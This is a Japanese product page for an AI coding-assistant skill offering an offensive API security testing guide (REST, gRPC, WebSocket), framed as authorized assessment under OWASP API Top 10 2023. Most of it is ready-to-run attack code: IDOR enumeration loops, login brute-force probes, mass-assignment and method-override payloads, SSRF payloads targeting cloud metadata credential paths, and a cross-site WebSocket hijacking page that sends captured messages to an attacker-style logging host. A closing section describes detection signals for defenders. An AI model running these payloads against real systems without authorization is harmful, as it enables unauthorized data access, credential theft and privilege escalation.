offensive-api-security について
offensive-api-securityは、REST、gRPC、WebSocketを対象とするAPIの認可済みセキュリティ評価ガイドです。OWASP API Security Top 10 2023に沿って、認可・認証・設定の問題を調べます。
主な機能
- 01REST、gRPC、WebSocketエンドポイントの把握
- 02BOLA、IDOR、機能レベル認可のテスト
- 03認証、トークン、データ露出の確認
- 04レート制限とリソース制御の評価
- 05SSRFとバージョン設定ミスのテスト
- 06gRPCとWebSocketのリスク分析
活用シーン
- 01APIアプリケーションの認可済みセキュリティ評価
- 02ユーザー間のオブジェクトアクセスとロール権限の確認
- 03レート制限、データ露出、SSRFリスクの調査
- 04gRPCおよびWebSocketインターフェースの安全性テスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-api-securityインストール後、Claude Code で/offensive-api-securityを入力して読み込まれたか確認します。
詳細
API セキュリティテスト(攻撃的テスト)
API 駆動型アプリケーションに対して、許可を得たセキュリティ評価を実施します。このスキルでは、OWASP API Security Top 10 2023 を重視し、REST、gRPC、WebSocket の攻撃対象領域を扱います。すべての手法は、書面による許可を取得し、対象範囲を定めていることを前提としています。目標は、API 層への攻撃を通じて、不正なデータアクセス、権限昇格、またはサービス妨害につながる脆弱性を特定することです。
クイックワークフロー
- API の対象範囲をマッピングします。OpenAPI/Swagger 仕様、gRPC リフレクションの出力、WebSocket エンドポイントを収集します。
- 認証方式を列挙します。API キー、OAuth フロー、JWT、セッショントークンを確認します。
- 認証済みコンテキスト間でオブジェクト識別子を入れ替え、BOLA/IDOR をテストします。
- 複数のロールと HTTP メソッドで BFLA チェックを行い、認可境界を調査します。
- パラメーターをファジングし、マスアサインメント、Content-Type の切り替え、HTTP メソッドの改ざんをテストします。
- レート制限とリソース消費の制御を評価します。
- gRPC 固有の攻撃ベクトルをテストします。リフレクションによる列挙、メタデータの挿入、Protocol Buffers の改ざんを確認します。
- WebSocket のセキュリティを評価します。オリジンの検証、メッセージの完全性、CSWSH を確認します。
- URL を受け取るパラメーターや webhook の設定を通じた SSRF を確認します。
- 再現手順と重大度評価を添えて、検出事項を記録します。
OWASP API Top 10 2023 -- BOLA と IDOR
Broken Object Level Authorization(BOLA)は、API で最もよく見られる脆弱性です。オブジェクト識別子を含む正規のリクエストを取得し、別のユーザーやテナントに属する識別子に置き換えて再送することでテストします。
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
元のトークンを保持したまま、別のユーザー ID で再送します。
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
連番および UUID ベースの識別子を使った IDOR テストを自動化します。
# Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/users/${id}/orders")
echo "ID: ${id} -> HTTP ${status}"
done
# Test with collected UUIDs from other endpoints
while read -r uuid; do
resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/documents/${uuid}")
echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt
HTTP メソッドを変えてテストします。あるエンドポイントでは GET に対して認可を強制していても、PUT や DELETE に対しては強制していない場合があります。
for method in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
-X "${method}" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status":"cancelled"}' \
"https://target.example.com/api/v1/users/1002/orders/5001"
done
認証の不備と過剰なデータ露出
認証エンドポイントをテストし、クレデンシャルスタッフィングへの耐性、トークンのライフサイクルに関する弱点、API レスポンス内の情報漏えいを確認します。
# Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d "{\"email\":\"[email protected]\",\"password\":\"attempt${i}\"}" \
"https://target.example.com/api/v1/auth/login")
echo "Attempt ${i}: HTTP ${code}"
[ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done
API の完全なレスポンスと UI に表示される内容を比較し、過剰なデータ露出がないか確認します。内部 ID、他のユーザーのメールアドレス、ハッシュ化されたパスワード、ロールの割り当て、またはクライアントに表示されない個人識別情報を探します。
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/me" | jq .
トークン検証の弱点をテストします。
# Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n" \
-H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/v1/users/me"
curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
"https://target.example.com/api/v1/users/me"
for val in "" "null" "undefined" "Bearer" "Bearer "; do
curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
-H "Authorization: ${val}" \
"https://target.example.com/api/v1/users/me"
done
レート制限とリソース消費
リクエスト頻度、ペイロードサイズ、レスポンスのページネーションに API が制限を適用しているかを評価し、無制限のリソース消費(API4:2023)をテストします。
# Measure rate limit headers across rapid requests
for i in $(seq 1 50); do
curl -s -D - -o /dev/null \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/search?q=test" 2>&1 | \
grep -iE "x-rate|retry-after|x-ratelimit"
sleep 0.1
done
# Pagination abuse and large payload submission
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'
python3 -c "
import json, sys
payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
sys.stdout.write(json.dumps(payload))
" | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \
-X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -d @- \
"https://target.example.com/api/v1/products"
BFLA とマスアサインメント
Broken Function Level Authorization(BFLA)は、低権限ユーザーが管理用 API 関数を呼び出せる場合に発生します。マスアサインメント攻撃は、API がクライアント提供のデータを内部オブジェクトのプロパティに直接バインドする場合に発生します。
# BFLA: Test admin endpoints with regular user token
admin_endpoints=(
"GET /api/v1/admin/users"
"POST /api/v1/admin/users"
"DELETE /api/v1/admin/users/1001"
"GET /api/v1/admin/config"
"PUT /api/v1/admin/config"
"GET /api/v1/internal/metrics"
)
for ep in "${admin_endpoints[@]}"; do
method=$(echo "$ep" | cut -d' ' -f1)
path=$(echo "$ep" | cut -d' ' -f2)
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
"https://target.example.com${path}")
echo "${method} ${path} -> HTTP ${code}"
done
# Mass assignment: inject properties that should not be user-controllable
curl -s -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Updated Name",
"role": "admin",
"is_admin": true,
"permissions": ["admin", "superuser"],
"account_type": "premium",
"credit_balance": 99999
}' \
"https://target.example.com/api/v1/users/me" | jq .
REST の HTTP メソッド改ざんと Content-Type の切り替え
API によっては、想定された HTTP メソッドまたはコンテンツタイプに対してのみセキュリティ制御を適用する場合があります。想定外のメソッドでリクエストを送信したり、シリアライズ形式を切り替えたりして、これを悪用します。
# Verb tampering: test all methods against a restricted endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/admin/settings")
echo "${method} -> HTTP ${code}"
done
# Method override headers -- bypass method-based WAF rules
curl -s -X POST \
-H "X-HTTP-Method-Override: DELETE" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/1002"
curl -s -X POST \
-H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' \
"https://target.example.com/api/v1/users/me"
# Content-type switching and parameter pollution
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=test&role=admin" \
"https://target.example.com/api/v1/users"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>' \
"https://target.example.com/api/v1/users"
# Parameter pollution via duplicate keys
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"
API パラメーターを介した SSRF
URL を受け取る API パラメーターを介したサーバーサイドリクエストフォージェリにより、内部サービスやクラウドのメタデータエンドポイントにアクセスできる可能性があります。
ssrf_payloads=(
"http://169.254.169.254/latest/meta-data/"
"http://metadata.google.internal/computeMetadata/v1/"
"http://127.0.0.1:8080/admin"
"http://[::1]:8080/"
"http://0x7f000001/"
"http://internal-service.local/"
)
for payload in "${ssrf_payloads[@]}"; do
echo "--- Testing: ${payload}"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"webhook_url\": \"${payload}\"}" \
"https://target.example.com/api/v1/integrations/webhook" | head -c 500
echo
done
インポート/エクスポート機能やプロフィール機能を介した SSRF をテストします。
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
"https://target.example.com/api/v1/data/import"
curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/v1/users/me/profile"
gRPC セキュリティテスト
gRPC サービスは REST とは異なる攻撃対象領域を持ちます。リフレクションでサービスを列挙し、grpcurl でリクエストを作成し、mitmproxy で Protocol Buffers のトラフィックを傍受します。
# Enumerate services via gRPC reflection
grpcurl -plaintext target.example.com:50051 list
grpcurl -plaintext target.example.com:50051 describe myapp.UserService
grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser
# Test BOLA on gRPC -- access another user's data with your token
grpcurl -plaintext \
-H "authorization: Bearer $TOKEN_A" \
-d '{"user_id": "1002"}' \
target.example.com:50051 myapp.UserService/GetUser
# Test admin methods with regular user credentials
grpcurl -plaintext \
-H "authorization: Bearer $REGULAR_TOKEN" \
-d '{}' \
target.example.com:50051 myapp.AdminService/ListAllUsers
メタデータの挿入 — gRPC のメタデータヘッダーは、HTTP ヘッダーと同様に悪用される可能性があります。
grpcurl -plaintext \
-H "authorization: Bearer $TOKEN" \
-H "x-forwarded-for: 127.0.0.1" \
-H "x-internal-service: true" \
-H "x-user-role: admin" \
-d '{}' \
target.example.com:50051 myapp.AdminService/GetConfig
mitmproxy で gRPC トラフィックを傍受して変更します。
# mitmproxy addon for gRPC inspection (save as grpc_inspector.py)
# Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051
from mitmproxy import http
class GrpcInspector:
def request(self, flow: http.HTTPFlow):
if flow.request.headers.get("content-type", "").startswith("application/grpc"):
print(f"[gRPC] {flow.request.method} {flow.request.path}")
for k, v in flow.request.headers.items():
if not k.startswith(":"):
print(f" Metadata: {k}: {v}")
def response(self, flow: http.HTTPFlow):
if flow.response and "grpc-status" in flow.response.headers:
print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")
addons = [GrpcInspector()]
WebSocket セキュリティテスト
WebSocket 接続は、従来の多くの HTTP セキュリティ制御を回避します。オリジン検証、メッセージインジェクション、認証の持続性、クロスサイト WebSocket ハイジャックをテストします。
# Origin validation testing with websocat
websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"
websocat "wss://target.example.com/ws/chat" # no origin
websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"
#!/usr/bin/env python3
"""WebSocket message fuzzing and injection testing."""
import asyncio, websockets, json
async def test_ws_injection(url, token):
headers = {"Cookie": f"session={token}"}
async with websockets.connect(url, extra_headers=headers) as ws:
test_payloads = [
json.dumps({"type": "message", "content": "hello"}),
json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
json.dumps({"type": "admin_broadcast", "content": "injected"}),
json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
json.dumps({"type": "message", "content": "A" * 1000000}),
]
for payload in test_payloads:
await ws.send(payload)
try:
response = await asyncio.wait_for(ws.recv(), timeout=3)
print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
except asyncio.TimeoutError:
print(f"Sent: {payload[:80]} -> No response\n---")
asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))
クロスサイト WebSocket ハイジャック(CSWSH)の検証:
<script>
var ws = new WebSocket("wss://target.example.com/ws/chat");
ws.onopen = function() {
console.log("[CSWSH] Connection opened -- origin validation missing");
ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
};
ws.onmessage = function(evt) {
console.log("[CSWSH] Received: " + evt.data);
fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
};
ws.onerror = function(e) {
console.log("[CSWSH] Connection failed -- origin may be validated");
};
</script>
API のバージョニングとセキュリティ設定の不備
複数のバージョンを維持する API では、セキュリティ制御に一貫性がないことがよくあります。非推奨のバージョンには、現行バージョンに適用されたパッチが適用されていない場合があります。
# Enumerate API versions
versions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
for ver in "${versions[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/${ver}/users/me")
[ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}"
done
# Check for exposed documentation and debug endpoints
endpoints=(
"/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs"
"/graphql" "/graphiql" "/.well-known/openid-configuration"
"/actuator" "/actuator/env" "/actuator/health"
"/debug" "/trace" "/metrics" "/_profiler"
)
for ep in "${endpoints[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"
done
# CORS misconfiguration testing
curl -s -D - -o /dev/null \
-H "Origin: https://evil.example.com" -X OPTIONS \
"https://target.example.com/api/v1/users/me" 2>&1 | \
grep -iE "access-control|allow-origin|allow-credentials"
curl -s -D - -o /dev/null -H "Origin: null" \
"https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"
# Security header audit
curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 | \
grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"
検出/防御側の視点
これらのテストを実行すると、防御担当者や監視システムが検出できる痕跡が残ります。
-
BOLA/IDOR プローブでは、単一のセッションから、連番またはランダムなオブジェクト ID を使った一連のリクエストが生成されます。API ゲートウェイは、オブジェクト識別子にまたがる通常とは異なるアクセスパターンをログに記録します。異常検知では、通常のスコープ外のリソースにアクセスするアカウントにフラグが付けられます。
-
レート制限テストでは、アクセスログで確認できるバーストトラフィックが発生します。HTTP 429 応答は SIEM アラートを作動させます。認証の失敗が繰り返されると、アカウントロックアウト機構が作動します。
-
動詞の改ざんとメソッドオーバーライドでは、通常とは異なる HTTP メソッドやオーバーライドヘッダーを使ったリクエストがアクセスログ上で目立ちます。セキュリティを重視するアプリケーションでは、メソッドオーバーライドヘッダーの使用時にアラートが発生します。
-
gRPC リフレクションの列挙はインターセプターによってログに記録されます。開発環境以外の IP からリフレクションサービスが呼び出されると、アラートが発生します。メタデータインジェクションの試行は、gRPC アクセスログに記録されます。
-
WebSocket テストでは、ロードバランサーにログ記録される、通常とは異なる Origin ヘッダーを使った接続試行が発生します。CSWSH の試行によって、CSP 違反レポートが発生する場合があります。
-
SSRF ペイロードに内部 IP アドレスやメタデータ URL が含まれていると、WAF によってフラグが付けられます。予期しない宛先へのアウトバウンド接続は、ネットワーク監視アラートを作動させます。
-
バージョンのプロービングでは、単一の送信元 IP から複数のパスプレフィックスに対して 404 が連続して発生します。
エンゲージメント用チートシート
| フェーズ | アクション | ツール |
|---|---|---|
| 偵察 | API 仕様を収集する | Burp クローラー、Swagger エンドポイント |
| 偵察 | gRPC サービスを列挙する | リフレクションを使用する grpcurl |
| 偵察 | WebSocket エンドポイントを特定する | Burp Suite、DevTools |
| 認証 | トークンのライフサイクルをテストする | curl、Burp Repeater |
| 認可 | オブジェクト間で BOLA/IDOR をテストする | curl のループ、Burp Intruder |
| 認可 | ロール間で BFLA をテストする | 複数のトークンを使った curl |
| 入力処理 | マスアサインメント | curl、Postman |
| 入力処理 | コンテンツタイプの切り替え | さまざまなヘッダーを使った curl |
| プロトコル | gRPC メタデータインジェクション | grpcurl |
| プロトコル | gRPC protobuf のインターセプト | アドオンを使った mitmproxy |
| プロトコル | WebSocket インジェクション | websocat、Python websockets |
| プロトコル | CSWSH の検証 | カスタム HTML テストページ |
| インフラストラクチャ | URL パラメーター経由の SSRF | curl、Burp Collaborator |
| インフラストラクチャ | API バージョニングのバイパス | curl によるバージョンの列挙 |
| インフラストラクチャ | 設定不備のスキャン | curl、Burp スキャナー |
参考資料
- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- gRPC セキュリティドキュメント: https://grpc.io/docs/guides/auth/
- WebSocket セキュリティ(RFC 6455 第 10 節): https://datatracker.ietf.org/doc/html/rfc6455#section-10
- Burp Suite API テスト: https://portswigger.net/burp/documentation/desktop/testing-workflow/api-testing
- grpcurl: https://github.com/fullstorydev/grpcurl
- websocat: https://github.com/vi/websocat
- mitmproxy: https://docs.mitmproxy.org/
- PortSwigger Academy -- API テスト: https://portswigger.net/web-security/api-testing
- Corey Ball 著『Hacking APIs』(No Starch Press)